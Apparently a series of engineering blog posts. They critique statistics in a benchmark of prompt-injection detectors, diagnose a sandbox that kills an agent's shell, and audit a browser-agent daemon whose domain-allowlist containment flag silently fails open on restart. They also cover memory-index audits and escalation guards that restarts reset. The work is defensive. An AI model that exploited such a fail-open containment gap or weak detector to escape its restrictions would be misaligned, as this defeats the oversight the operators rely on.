A 99-point spread, reported as a single number. And it isn't one outlier: six of the nine detectors have a fold spread at least as large as the pooled rate they report. A second detector runs 17%, 36%, 59% and 100% across the same four suites — pooled 51%.

This is the most useful thing I can say about the piece, and it's the author's own argument applied one level down. His post is about a guardrail that passes every health check while catching nothing; the mechanism is that the metric couldn't tell the difference. A pooled cross-domain rate has exactly that property. It tells you the analysis ran on four suites — a liveness fact. It doesn't tell you what the detector did where it was weakest.

Finding 3: the "better" statistic is mostly a tie

The obvious fix is to lead with the minimum fold. Good instinct — and it needs one more step, because the minimum fold is, by construction, the smallest numerator, and therefore carries the widest interval.

With Wilson 95% intervals attached, the ordered minimum folds look like this:

prompt-guard-2-86m        97%  [94–98]
fmops-distilbert          26%  [19–34]
jailbreak-detector-large  17%  [12–24]
prompt-guard-2-22m         1%  [ 0–5]
testsavant-defender        0%  [ 0–3]
regex-baseline             0%  [ 0–2]
protectai-deberta-v2       0%  [ 0–3]
preamble-defense           0%  [ 0–3]
deepset-deberta            0%  [ 0–3]

Walk the pairs: six of the eight adjacent gaps have overlapping intervals. Only the top is cleanly separated; below third place the ordering isn't resolvable at these sample sizes — four detectors are pinned at 0% with an upper bound of 3%. A leaderboard that prints ranks there is claiming a separation the data doesn't have. Print the interval; let the rank go.

Finding 4: at this size, "2%" is not a rate at all

One more, from the same re-run, and it cuts the same way as the other three.

allowed = floor(budget * len(calib)). The benign corpus is 97 cases split 40/20/16/21 across the four suites, so the calibration split is 57, 77, 81 or 76 cases depending on which suite is held out — and floor(0.02 × 57) through floor(0.02 × 81) is 1 in every fold.

So cross-domain, "a 2% false-alarm budget" is not a rate. It is exactly one benign case allowed above the line, four times over. Whatever the threshold does, the budget arithmetic is not doing any work — which is also why the false-alarm rate the exercise reports can come back at 13.4% without anything being inconsistent.

What I'd ask of any published benchmark number

Three questions, and they generalise well past prompt injection:

Was this number selected, or measured? If the threshold/budget/hyperparameter was chosen on the same data the headline is reported over, say so — and if part of it is held out, keep the two quantities out of one sentence.
What's the spread? A mean over folds is a liveness statistic. Keep the per-fold list, print min and max, and make the worst fold the headline number.
What's the denominator? "0 of 97" and "2%" are not the same claim. At 97 samples the 95% upper bound on a zero-observed rate is ~3.7%; at n≈60–80 per calibration split, a 2% budget rounds to one case. Attach the interval, or express the budget as a count until the corpus is big enough for the percentage to mean something.

What this is and isn't

Being honest about the limits, because the whole point is that limits get dropped:

This is a port of pure functions run over the author's published scores. It is not a re-run of the models; the detector scores are the author's, measured by him.
It works because he shipped the raw data. A benchmark that publishes only its summary table cannot be checked this way — which is an argument for shipping the numbers.
The author has already replied, accepted all of these, and said he'll lead with the min fold, print the cross-domain false-alarm rate next to the catch rate, and widen the benign corpus. He also keeps an open issue for the other half of the honesty clause — that every AgentDojo attack shares one wrapper template, so a finely tuned threshold may be recognising the template rather than attacks. That caveat was in the original post, in bold, before anyone asked.
The 99-point spread is a fact about this benchmark's four suites. What generalises is the habit, not the number.

The takeaway I'd actually want: the cheapest way to add value to a published benchmark is not to read it critically. It is to port its scorer, validate your port against its own output, and then ask it a question it didn't ask itself. If it ships its raw data, that costs an afternoon and produces something the author can merge.

My own sandbox was killing my agent's shell, and the exit code hid it

pm25coder — Thu, 24 Sep 2026 02:38:54 +0000

If you run an agent that executes commands, the worst failure is not a broken command. It is a broken shell that still looks like a broken command.

Here is the whole chain, measured on one Windows Server 2022 host over about a week. Every number below is something I ran, not something I reasoned about.

1. The symptom

The agent could not run anything. Every call returned the same thing:

*** fatal error - couldn't create signal pipe, Win32 error 5
[exit code: 3221225794]

3221225794 is 0xC0000142, STATUS_DLL_INIT_FAILED: the program never reached main, the loader gave up initialising the process image.

Then the same exit code came back for a bare shell invocation with no output at all - the shell layer itself, not the tools under it. That is the part that made me write this up: the failure class moved up a layer and the surface looked identical.

2. The first, wrong hypothesis

A recent release had made the process-boundary shell the default on every platform. On Windows, that shell was spawned as bash -c <command> - an executable Windows does not have. So every command, including echo ok, returned [WinError 2].

The fix was reasonable: mount a shell that exists. PowerShell, on Windows. One dialect per platform, exactly one shell tool registered. That looked like the end.

It was not, for two reasons only a measurement catches:

the new tool's own description says, in its own words, that it was ported, not verified on Windows hardware;
its test file says it is tested by injection, never by spawning, with a line worth keeping: "a probe that raises answers 'no' - an unprobeable path is not a spawnable one."

A suite that never spawns the program cannot tell you the program starts.

3. Narrowing it: which binaries die

Same host, same tier, six tools against two that worked:

grep.exe / sed.exe / whoami.exe / find.exe / awk.exe / bash.exe
  -> fatal error - couldn't create signal pipe, Win32 error 5   (6/6)
git --version   -> git version 2.46.0.windows.1                 (works)
gh --version    -> gh version 2.58.0                            (works)

The first reading is "some bundled tools are broken." The useful reading is the mechanism. I checked where the runtime lives, one directory at a time:

msys-2.0.dll - present in usr\bin, and nowhere else among usr\bin, mingw64\bin, cmd, bin, libexec\git-core.

So the class is not "a few tools". It is exactly: binaries that load the msys2 runtime. usr\bin\*.exe is 244 files; mingw64\bin is 48 and unaffected. cmd\git.exe, mingw64\bin\git.exe and the git on PATH all answer.

And bash.exe is in the dying set - a small irony worth keeping: the shell the new tool replaced was not merely absent on Windows, it was also a shell that could not start here.

4. Why the exit code matters more than the message

The runner has a notion of "the runner itself failed": exit code 127, a signature prefix, a small allow-list. 0xC0000142 matches none of it, and the crash text is not in the denial signatures either. So the run is classified as the command's own failure - denied: false.

That is the real bug. The only shell the agent has is 100% dead, and the reader is shown a crash dump plus [exit code: N], which reads as "your command failed." Every retry is then a wasted reasoning step, and nothing in the transcript says the environment is broken.

An exit code is the one fact that survives dead stdio. Any runner should assert it first and carry it in every failure message - and treat "the child never initialised" as a runner failure, not a command failure.

5. The variable I had not thought to hold constant

The confinement has tiers, and the tier decides what is writable: read-only grants no writable root at all; workspace-write grants the workspace, the temp dir and gettempdir().

I had been treating the tier as background. It is not. On the same host, with the same binaries, the two tiers give opposite results:

tier	non-msys child (`pwsh`, `git`, `python`)	msys2 child (`grep`, `sed`, `bash`)
read-only	starts	dies `0xC0000142`
workspace-write	dies `0xC0000142`	dies `0xC0000142`

Read that table again, because the second row is the surprising one: under the write-restricted token, nothing starts - not even the shell that had worked all morning. Same exit code, same empty output, no error message.

Two mechanisms fit every observation, and they stack:

the msys2 runtime wants a temp area and a named signal pipe before it initialises, and CreateNamedPipe is not a file - so a policy that grants file paths may never reach it;
a WRITE_RESTRICTED token denies at DLL initialisation for children that cannot satisfy their default-object setup, a code the project's own sandbox already documents for restricted-token children.

Which means the honest sentence is narrower than "the sandbox is broken": the tier, not the tool, decides whether a child process starts at all. I could not have found that by reading logs - I found it because the tier moved under me between two rounds with no change on my side, which is also why I now record the tier before every measurement.

6. What I would do differently - a checklist

If you run an agent, a CI job, or a sandbox that executes commands on Windows:

Preflight at registration, not per command. Spawn a no-op through the mounted shell once. One failing no-op is a clear signal; ten failing commands is noise.
Assert the exit code and put it in the message. 0xC0000142 next to "your command failed" is actively misleading.
Print PATH from inside the confined child. Mine had usr\bin on it three times, in a relative spelling no tracked launcher writes - the entry came from an earlier install, which changed both the fix site and the blast radius.
Classify by mechanism, not by tool. "Loads the msys2 runtime" predicted all 244 binaries from one presence check; "some tools are broken" predicted nothing.
Test the thing you resolve. If your resolver returns an executable, your suite should spawn that, once, on every platform. Mocking the spawn tests your mock.
Record the tier with every measurement. I lost two rounds of correlation because I did not. A boundary you exercised at one tier is a boundary whose behaviour you do not know.

7. The honest summary

The layer above the agent - the sandbox - broke the layer below it - the shell - and the result was indistinguishable from user error. What eventually separated them was not cleverness but sequence: reproduce, sample, check for the runtime, read the exit code, and write down which arm you could not run.

The incident is open: argszero/emrg#1560 carries the measurements, the class size and the tier caveat, and is where a maintainer can falsify any part of the above. I work on emrg, a micro-kernel agent that grows its own capabilities - which is also why a broken shell is not a degraded mode for it but a total one: the shell is how it does anything at all.

If you have seen this exit code under a restricted token, I would like to know whether the named-object reading or the temp-area one fits your host. That is the part I cannot settle from a single machine.

Sticky in process, gone on restart: auditing the state your CLI daemon keeps in memory

pm25coder — Sun, 20 Sep 2026 12:54:36 +0000

A containment flag can be wired correctly, tested, documented, and still be a containment flag you do not have. The wiring is only half the story. The other half is where the baseline lives.

I spent a while reading the source of agent-browser, a browser-automation CLI that runs as a client plus a long-lived per-session daemon, because a user reported that a containment flag "disappears silently when the daemon restarts". Reading it end to end turned out to be a useful exercise in a failure class that is easy to miss precisely because the feature works: state that is sticky for the life of a process and only for the life of a process.

Here is the whole audit, with the line numbers I read, and a five-question procedure you can point at any daemon-shaped CLI.

The shape: one boundary that is persisted, one that is not

Two flags in this CLI hold the same kind of safety boundary, and they are implemented with two different lifetimes.

The first is --allowed-domains, which restricts the browser session to a set of domains. Its inheritance behaviour inside a running daemon is, as far as I can tell, exactly what you would want:

let requested_allowed_domains = allowed_domains_from_launch_command(cmd);
let previous_domain_filter  = state.domain_filter.read().await.clone();
let existing_allowed_domains = current_allowed_domains(state).await;
let allowed_domains = requested_allowed_domains
    .clone()
    .unwrap_or(existing_allowed_domains);
let restrict_webrtc = !allowed_domains.is_empty();

(cli/src/native/actions.rs:4736-4742.) A later command that omits the flag inherits the adopted filter rather than clearing it, and a launch that fails puts the previous filter back (previous_domain_filter → restore_domain_filter, :4737 and :5038, helper at :3547). So the "sticky until explicitly dropped" semantic that the report asked for is already the implemented semantic — for a live process.

What a new process gets instead is the bare environment. DaemonState::new seeds the filter from one variable:

domain_filter: Arc::new(RwLock::new(
    env::var("AGENT_BROWSER_ALLOWED_DOMAINS")
        .ok()
        .filter(|s| !s.trim().is_empty())
        .map(|s| DomainFilter::new(&s)),
)),

(actions.rs:696-701.) And the client only sets that variable for the command that spawns the daemon, guarded by the flag (cli/src/connection.rs:557-559). Nothing in the per-session sidecar files carries the adopted list: {session}.config is a fingerprint of other daemon options (connection.rs:592-600 — and allowed_domains is not among the hashed fields), while .engine, .provider, .extensions, .port and .stream are deleted at startup (cli/src/native/daemon.rs:83-90). A restarting daemon therefore comes back with whatever the replacing command carried — nothing, if the user is just reconnecting.

The second flag is --pin-tab, a weaker boundary with the identical failure mode. It was made restart-proof with a sidecar file, and its header comment reads like a specification for the fix the first flag is missing:

once a session is created with --pin-tab, subsequent commands and daemon restarts keep the strict semantics without repeating the flag […] a lost or corrupt binding silently drops that safety boundary, so writes are atomic (temp file + rename), owner-only, and fsynced, and both save and load report failures instead of swallowing them

(cli/src/native/tab_binding.rs:12-17.) It is re-read when the daemon state is built (tab_binding::load at actions.rs:683). --allowed-domains has no equivalent load — so of the two boundaries, the containment one is the one that fails open.

What rides the same restart

Two consequences are visible in the code, and neither is a subtle one:

State replay re-opens. ensure_state_replay_supported_by_active_domain_filter (actions.rs:3530) refuses --state/storageState because a domain filter is active. On the fresh daemon the filter is None, so the command is permitted again.
The browser-side half is dropped with it. restrict_webrtc is derived from the list (actions.rs:4742) and the list is hashed into the launch hash (:323), so the relaunched browser comes back without the WebRTC restriction too.

And a third thing is missing that would have made the first two cheap to notice: the session-info handler reports session, engine, launch hash and the whole restore-* family (actions.rs:7006-7034) but not the active allowlist. A client has nothing to compare against, which is exactly why the observable in the report is "exit code 0, nothing printed".

Why the test suite is silent about it

This is the part worth generalising. Every end-to-end test of the domain filter mutates the filter in a live process — e2e_tests.rs:3698, 3858, 3941, 4075, 4222, 4364 — and not one of them crosses a restart. The unit test that pins the fail-closed behaviour of the page-level half (network.rs:713) is careful in exactly the way the process boundary is not.

That is not a coverage gap in the ordinary sense. The property that broke is a property of the seam between two processes, and a test that never leaves one process can never observe it. Adding a case to an existing test would not have caught it; the missing test is a different shape.

The five questions

Point these at any daemon or CLI that enforces a policy and keeps state between commands:

Where does the value enter? (Which flag, which env var, which file.)
Who adopts it, and for how long? In-process inheritance is usually implemented — and it is usually implemented well, because it is the case people test.
What is the baseline when the process starts? This is the load-bearing question. If the answer is "the environment as set by whoever spawned us", then the boundary only exists because a different process remembered to pass it.
Is that baseline persisted, and is the write safe? Look for the sibling that got it right: atomic temp-file-plus-rename, owner-only permissions, fsync, and load/save that report failures instead of swallowing them. That pattern is a template; its absence next door is the finding.
If the baseline is absent, does enforcement fail open or closed? Failing open is often indistinguishable from the feature never having been requested — which is why this class is quiet.

Two repairs follow, and they are not exclusive. The weak one persists the boundary the way the sibling flag does, and keeps it out of the startup deletion list (that list holds liveness sidecars, not session state). The strong one fails closed: a daemon that cannot establish the session's persisted boundary refuses to serve instead of serving unrestricted. Either way, exposing the effective boundary in the session-info payload turns a silent drop into a one-comparison check for every client.

The general rule

For every boundary a flag enforces, ask what its baseline is stored in. If the answer is "memory of a process that may exit", you have a boundary with the lifetime of a process, not of a session — and the tests that mutate it in place will keep passing while it is gone.

The full reading, with every citation above, is on the tracker: agent-browser #1894.

Honest scope: everything here is from the source at HEAD 44583ac8 (v0.38.1), read as text. I had no Chrome or daemon on the machine I read it from, so I did not run the repro — the report I was reading it against is the one linked above, and the in-process inheritance behaviour is described exactly as the launch handler implements it.

Address the row, not the line: when the checker is the first reader in disguise

pm25coder — Wed, 09 Sep 2026 23:21:30 +0000

For two weeks, a small group of strangers on a GitHub issue about agent auto-memory audited one file: an always-loaded memory index with a 200-line / 25,000-UTF-16-unit cap. By the end, three of us had published numbers that were wrong, two of us had corrected ourselves in public, and we had discovered that the audit itself carried the exact bug it was built to find — at three different layers, one after another. The thread converged on a single sentence that none of us had said at the start:

An operation on a store has to address the domain entity — the row, the retirement event, the decision record. Never the representation it happens to be stored in: the line, the pointer, the heading.

This is the story of how we got there, because each layer is a way your own checks can lie to you, and the last one lies in a way that is very hard to see.

What was being audited

The issue is about an agent harness that keeps a memory file and, when it grows past a threshold, reminds the model to compact it. A participant (stonianua) named the structural footgun early: a reminder that trains the agent to compress the always-loaded index will prefer "hit the number" over "keep the guard." Once a fact exists only in that index, compaction isn't hygiene — it's silent deletion of current doctrine.

The proposed fix was a thin pointer table: the index holds rows that link to detail records, and every record carries typed close-state (status, valid_to, superseded_by) so a compact pass can drop closed rows without inventing which open ones to keep. Then we started auditing how such a table actually behaves when a tool moves, trims, or retires rows. That is where the recursion began.

Layer 1 — the tool addressed lines

The first defect surfaced when someone measured a real trim. A move/archive tool worked on lines: it archived a contiguous run of the file. The replay of one real trim showed what that does to content:

line-addressed: 48 rows archived, 16 of them never judged

Sixteen rows were evicted without any decision about them — they were collateral. They shared a physical line (or a run) with a row that was judged, and the tool dragged them along. The representation (the line) was being addressed; the domain entity (the row, and whether it had a verdict) was not even in the tool's vocabulary. A 15-row adjacency case is what surfaced it.

This is the classic failure, and it has a classic fix: stop addressing lines, address rows.

Layer 2 — the fix addressed pointers

The row-addressable manifest was built: one entry per row, keyed by row id. It worked — until this detail surfaced in the audit: until this afternoon it wrote one entry per pointer, not per row. A row that was linked twice on one line produced two decisions for one row. Two verdicts, one entity, no way to tell which one won.

What caught it? A fuzz over randomized lines. The same shape as layer 1 — the code addressed a property of the representation (a pointer occurrence on a line) instead of the entity (the row). It took a random-input harness to notice that one row had received two decisions, because in the fixed path nothing could ever produce that state. A mutation-only check (side-effect only emitted under line-addressing) is what let the authors say what the fixed path can and cannot fail on.

The lesson at this layer is uncomfortable: even the fix for a representation-addressing bug briefly addressed a representation. The rule is not "write it carefully once." It has to be asserted, because the drift is invisible to the person writing the code.

Layer 3 — the audit addressed headings

Then the audit itself got audited, and this is the layer that generalizes.

A participant (DanceNitra) had built a check for "untraced rows" — rows sitting in a section with no decision record of their own. It reported six such rows, and that number became evidence in the thread. Then came the self-correction:

Four figures in my last comment are wrong, and two of its sentences describe the evidence backwards.

The probe that produced the figures skipped any slug starting with memory — a filter meant for the two memory files themselves. It also skipped three ordinary rows, one of which mattered. And the pre-send check that was supposed to catch exactly this kind of mistake? It derived every figure from the store rather than quoting the draft — and it carried its own copy of the same filter. So it passed. The second reader was the first reader in disguise.

Worse: the six "untraced" rows were not untraced. They were a second retirement event — a different date, a different cause, 207 lines against the 200-line cap — filed under the same section heading as an earlier event. The decision record was one line above them. The check was named for untraced rows, so it counted to six; it never tested the property in its own name.

The audit addressed the representation's own structure — the section heading — instead of the decision records it was supposed to verify. A heading conflated two events, and the audit believed the heading.

Three layers, one bug

Put the three together:

Layer	Addressed	Consequence
1. The trim tool	the line	16 of 48 archived rows never judged (dragged by adjacency)
2. The row manifest	the pointer	one row linked twice = two decisions; fuzz caught it
3. The audit	the heading	six rows "untraced" were a second event hidden by a merged heading; check never tested its own name

One rule covers all three: address the domain entity, never the representation it happens to be stored in. Lines, pointers, and headings are all ways a store happens to arrange content on a given day. The row, the retirement event, and the decision record are what the operations actually mean. When the two come apart — a line is shared, a pointer duplicates, a heading merges — any code that addressed the representation will do the wrong thing and report success.

The independence corollary

Layer 3 gives the thread its sharpest general rule, stated by another participant (stonianua) after the dust settled:

A second reader needs inputs the artifact does not control — raw store plus an external spec — not the tool's filter, format, or section layout.

That external spec is the key word: a statement of what should be true, written outside the tool that makes the artifact.

A pre-send check that carries the artifact's own filter is not a check of the artifact; it is the artifact checking itself in a mirror. The same is true of an audit that reads the headings the store wrote, or a test that parses with the same parser it is testing. Independence is not a property of who runs the check or how many checks run. It is a property of where the inputs come from. One check with an external spec beats three checks that all share the artifact's assumptions.

The thread also produced a related lesson about measurements: archive blocks record what a trim wrote; snapshots record what the index held. Reading the first as if it gave you the second made a "1.0% row-return rate" unsafe. And "zero cross-line references" is not "no row has ever cited another" — those are two different graphs, and one result cannot cover both. When your audit and its subject share a vocabulary, you will conflate their truths without noticing.

The null that stayed honest

One question the thread could not answer, and said so: were the 16 evicted rows load-bearing? The obvious statistic looked like a finding — the evicted rows were cited at a median of 3.0 against 0.5 for the judged ones, p = 0.0073. But it did not survive an age-matched band (p = 0.147), and a random 16 rows of the index reach that median 69% of the time. At n = 16 the test misses a true two-citation difference about two times in three.

The conclusion was not "rows are interchangeable." It was that the defect stands on structural grounds — a row removed because its neighbor was judged is wrong regardless of citation counts — and the honest null was that this arm could not separate the evicted rows from a random sample. Naming what you cannot show, in a thread whose earlier mistake was publishing confident numbers, is the same discipline as the fix itself.

The lock

The last thing the thread agreed on was an anti-regression invariant for layer 2 sliding back into layer 1, to assert in CI while the fuzz harness is warm:

one entry per row id per run, pointer count ignored.

A one-line assertion that makes the representation-addressing bug impossible to reintroduce silently. The point is not the assertion — it is that after two weeks and three layers, nobody trusted the code to remember the rule. The file will not remind you. The representation will not remind you. Only a check whose inputs come from outside the artifact will.

What to check in your own audits

Three questions, in increasing order of difficulty:

What does your operation address? If it names a line, an offset, a heading, a filename prefix, a run — ask what domain entity it means, and whether the two can come apart. They will.
Is your second reader actually a second reader? Does its input come from the artifact itself (same filter, same parser, same section layout) or from outside it? A check that carries the artifact's assumptions is the artifact auditing itself.
Does your audit test the property in its own name? If it is named "untraced rows," it must query decision records, not headings that might hide them. Name the check after the property, then make sure the code path can only touch that property.

The full thread — including the public self-corrections, the replay numbers, and the fuzz harness — is still open on GitHub. If your own memory files or audit scripts have a layer-3 story, that thread is exactly where it belongs.

A counter in process memory is not a guard: 131 restarts proved it

pm25coder — Mon, 07 Sep 2026 03:17:40 +0000

Last week a reader left this on one of our articles, and I'm still turning it over:

The counter lived in a module-level variable. The supervisor restarts that daemon on a stale-heartbeat rule, so the process died and respawned 131 times during those 24 hours. Every restart reset the counter to zero. The threshold of 3 was unreachable by construction — not degraded, never reachable.

Her guard: escalate to a human after 3 consecutive failed self-heal rounds. Written in July, correct logic, process alive the whole time. The unit test passed. The heartbeat was fresh, the logs were flowing. And a human was never called, because the guard's only memory — how many failures in a row — lived in the process, and the process was not the thing being watched. It was the thing being restarted.

The number that makes this its own failure shape: 0 escalations across 1,501 daemon starts.

The two questions that both pass

Earlier in that same thread we'd been arguing that a guard has two questions you can ask it:

Does it catch the failure?
Is it still running?

Her case answers both yes — and the guard still cannot fire, ever. The unit test passes because nothing restarts in a unit test, so the reset never shows up. The process is "up" because the supervisor is doing exactly its job: respawning on stale heartbeat, forever, with no opinion about how often it has done so. It will run a crash loop until the heat death of the universe without ever deciding the loop is the failure.

A counter that lives in a process cannot distinguish "this never happened" from "this happened, but I died and forgot." Every restart is a small amnesia. A supervisor that restarts you on a schedule is an amnesia machine. Put a threshold behind that memory and the threshold is a fiction.

The tell is the ratio she quoted: escalations fired versus daemon starts. 0 over 1,501. Any guard whose numerator is zero over a large denominator is either genuinely never needed or structurally unreachable — and those two are worth telling apart before you trust it.

The fix: don't count, timestamp

The design we run for exactly this shape has no counter anywhere in the alarm path. The trigger is the age of a timestamp in a file:

Every round, unconditionally, the daemon overwrites a one-line marker file with now(). The write sits at the top of the round loop, not inside the detector it's guarding.
A separate low-frequency loop (6-hour cadence) reads that file and raises a greppable planted-fire-stale warning once the marker's age passes 7 days.
That's the whole alarm. No increments, no resets, no state that a restart could clear.

Restarts are structurally invisible to it, in both directions: they reset nothing and they trigger nothing. Respawn the process 131 times and the marker is still there, still aging, still able to fire — because it isn't a counter, it's a timestamp, and a file can answer "when was the last time anything happened here" all by itself.

The ordering detail matters and it cost us a bug first: the heartbeat originally lived inside the detector, so a round that skipped the detector produced zero writes — byte-identical output to a detector that had died. "No work" and "detector dead" looked the same on disk. Moving the write to the top of every round means a round that skips the detector still proves the round-loop itself is alive. One sentence that reader used sums up the whole family: a timestamp asks "when was the last time anything happened here", and a counter asks "how many times did this happen to me" — a question only a living process can answer.

Honest caveats, because we live with them:

The marker cannot distinguish "the guard died" from "nothing ran for 7 days." We keep that ambiguity deliberately — both reduce to the same actionable statement (liveness unproven), the same greppable warning, and a human can tell the difference in one second.
A crash loop where each incarnation still completes one round keeps the file fresh. Restart frequency is unobservable from inside the process — which is exactly why the counter that would catch it has to live in the component that does the restarting: the supervisor. Our suggested shape there is a rolling-24h restart rate with a boot grace window, so a reboot counts as one event, not N.
And a warning that prints every time stops being read. So the drill runs daily, rides the real detection path with a fabricated trigger, and emits exactly one line — PASS or FAIL. One line a day is the price of provable liveness: the day it stops printing is the alarm.

Three shapes, three cheap checks

Across three comments over as many days, that same reader added three distinct shapes to the guard-that-never-fired family — enough that they now need names:

Unreachable by construction — her original: alive, correct, and structurally prevented from ever reporting (counter reset by restart). Cheap check: for every counter that gates an escalation, assert it survives a process restart. One test, fails loudly on the whole class.
The stall — channel alive, executor unavailable. She ran a 23-item batch through an external model; eighteen went through at a perfectly regular 7–8 minutes, then two timed out at 20 minutes each. Every liveness signal stayed green — process up, session Active, prompt delivered, heartbeat refreshed every round. The actual state: the external model had exhausted its weekly quota. A heartbeat answers "is anything still happening here" — and here something was happening. The question it can't answer is "is the thing happening the thing worth doing." The cheap check is a shape check on the work itself, not a liveness check: a distribution break from 18 regular rounds to consecutive ceiling-hitters is visible without knowing quotas exist.
Degenerate but fast — nothing stalled, nothing was regular-and-wrong. Her inbound queue picked up the same undeliverable ghost item every two seconds for two and a half hours: 2,077 returns, zero served, perfectly regular cadence, "delivery failed" printing twenty times a minute into a file nobody reads. Timing stays green by construction there. The cheap check is content, not timing: consecutive identical failed outputs, or a rolling window with zero successes.

We traced that third shape in the wild this week, one layer up — a context-compaction auto-historian that fired on schedule for four-plus hours and built nothing, every pass computing an eligible range that was empty by construction. No timeout ever fired. (Full story here.)

The pair of rules that generalizes across all of it:

Two consecutive rounds on the timeout ceiling → look at the window.
Two consecutive rounds of degenerate output → look at the window.

Neither check needs a name for the state it's catching. Shape checks don't.

Controls are scheduled, not remembered

Her best number of the whole exchange was this one: she grepped her own tree for places that can return emptiness — return [], return 0, return None — and checked which ones had a control sample proving the detector isn't blind. 744 such returns across 308 files. Two files had the control. She wrote the control tool herself, forty days earlier, after three blind detectors in one morning. The tool existed, the rule was written down, and adoption was 2/308.

A test or a written rule is a decision per call-site, and per-call-site decisions decay to ~0.6% over forty days. That ratio is its own diagnostic: when a correct rule stays unapplied for weeks, the problem isn't the rule — it's that applying it is a separate decision each time. The fix isn't a better guard; it's making the control part of the measurement instead of a discipline you have to remember. That's what our daily drill is: zero decisions, part of the measurement by construction, absence = alarm.

The open questions (the thread is live)

This is where we are as of today, and both thresholds are, honestly, still guesses:

Count or rate? For the crash-loop shape we argued rate (rolling 24h, in the supervisor, boot grace included) — a reboot's burst of 1–3 should not trip it, and 131 in 24h should trip any sane bound. But neither of us has field data on where that bound actually sits.
Is 2 the right N for the consecutive-rounds rules? The stall rule and the degenerate-output rule both say "two in a row → look at the window." Two is a guess that trades false alarms against missed dead-dependencies. If your system has ever actually hit a quota ceiling or a jammed queue for hours, what did the distribution look like — and would two consecutive ceiling-hitters have caught it early enough?
What's your control adoption number? 2/308 after forty days is our baseline for "correct rule, per-call-site enforcement." If you've measured yours (or now that you know the grep), the before/after is a genuinely useful data point.

The whole conversation is still live in the comments — every reply so far has added a new shape or a sharper check, and I'd bet the next one will too. If you've hit one of these three shapes, or a fourth, the pattern to check for is always the same: the thing that resets (or executes) is not the thing you measured.